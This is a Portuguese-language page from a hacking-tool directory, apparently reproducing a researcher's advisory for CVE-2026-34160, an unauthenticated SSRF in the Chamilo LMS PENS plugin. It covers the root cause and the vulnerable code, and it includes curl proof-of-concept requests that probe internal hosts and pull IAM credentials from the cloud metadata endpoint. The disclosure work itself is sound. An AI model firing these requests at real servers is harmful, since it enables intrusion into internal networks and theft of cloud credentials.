Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34160 — Exploração de SSRF não autenticado para o plugin PENS do Chamilo LMS, demonstrando dois vetores para acessar redes internas e metadados de nuvem, com PoC e análise da causa raiz. | Kitploit
Ferramentas/GitHubGitHub/romain-deperne/cve-2026-34160
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubromain-deperne/cve-2026-34160

CVE-2026-34160

Exploração de SSRF não autenticado para o plugin PENS do Chamilo LMS, demonstrando dois vetores para acessar redes internas e metadados de nuvem, com PoC e análise da causa raiz.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
23há 1 mêsAinda não revisado

CVE-2026-34160 — SSRF não autenticado no Chamilo LMS via plugin PENS (pens.php)

Severidade: Alta (CVSS 8.6) CWE: CWE-918 (Server-Side Request Forgery) Afetado: chamilo/chamilo-lms 2.0-RC.2 Corrigido em: 2.0-RC.3 Aviso: GHSA-g2xj-4cch-j276 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160 Crédito: Romain Deperne

TL;DR

O endpoint do plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php é acessível sem autenticação e aceita URLs controladas pelo usuário tanto para o download de pacotes quanto para notificações de callback. As funções de validação de URL verificam o esquema e a presença do host, mas não realizam nenhuma filtragem de IP privado, permitindo SSRF não autenticado para redes internas e serviços de metadados de nuvem.

Análise

Após a CVE-2026-33715, revisei outros endpoints do Chamilo não autenticados com efeitos colaterais de rede. O plugin PENS (public/plugin/Pens/) busca pacotes de URLs externas e envia callbacks para servidores externos, criando duas superfícies de SSRF.

Li o PensProcessor.php em busca da lógica de validação de URL. isAllowedDownloadUrl() e isAllowedCallbackUrl() verificam o esquema (http/https) e a presença de um host não vazio — e param por aí. Sem filtragem RFC 1918, sem verificação de loopback, sem verificação de link-local. O comentário chega a dizer "returns true" após a verificação do host, o que deixou óbvio que isso foi escrito sem considerar SSRF.

O que distingue esta da CVE anterior do Chamilo: ela possui dois vetores de SSRF independentes — um para a busca do pacote (o servidor baixa um arquivo de uma URL controlada pelo atacante) e outro para os callbacks (o servidor faz POST para endpoints controlados pelo atacante). O vetor de callback é particularmente útil para exfiltrar respostas de serviços internos, já que o servidor fará POST dos dados de status do PENS para qualquer URL que você especificar, e você controla a análise da resposta.

Em implantações na nuvem, o endpoint de metadados 169.254.169.254 é acessível através de ambos os vetores.

Componente afetado

Arquivo: public/plugin/Pens/lib/PensProcessor.php

Dois vetores de SSRF distintos:

Vetor 1 — Busca da URL do pacote (linhas 376, 138):

private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) { return false; }
    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) { return false; }
    return true;  // ← no private IP check
}

// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);

Vetor 2 — SSRF por callback (linha 318): os parâmetros receipt e alerts especificam URLs para onde o servidor envia callbacks POST — a mesma ausência de validação.

Causa raiz

isAllowedDownloadUrl() e isAllowedCallbackUrl() apenas validam que a URL tem um esquema http/https e um host não vazio. Faixas privadas RFC 1918 (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — metadados de cloud) e equivalentes IPv6 são todos aceites.

PoC

# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://192.168.1.1:80/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test-123" \
  -d "client=test" \
  -d "system-user=test"

# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://example.com/legit.zip" \
  -d "receipt=http://10.0.0.50:8080/internal-endpoint" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

Impacto

  1. SSRF para rede interna — sondagem não autenticada de hosts e serviços internos
  2. Exfiltração de metadados da nuvem — em implantações AWS/GCP/Azure, obtenção de credenciais IAM via 169.254.169.254
  3. SSRF de callback — forçar o servidor a enviar POST para endpoints internos arbitrários

Nota: isto é distinto de CVE-2022-27426 (SSRF em ferramentas social/links) — caminho de código diferente, plugin diferente, não autenticado.

Cronologia

  • Descoberta: 2026-03-22
  • Reportado: GHSA-g2xj-4cch-j276 (aviso privado)
  • CVE publicado: CVE-2026-34160
Baixar ferramenta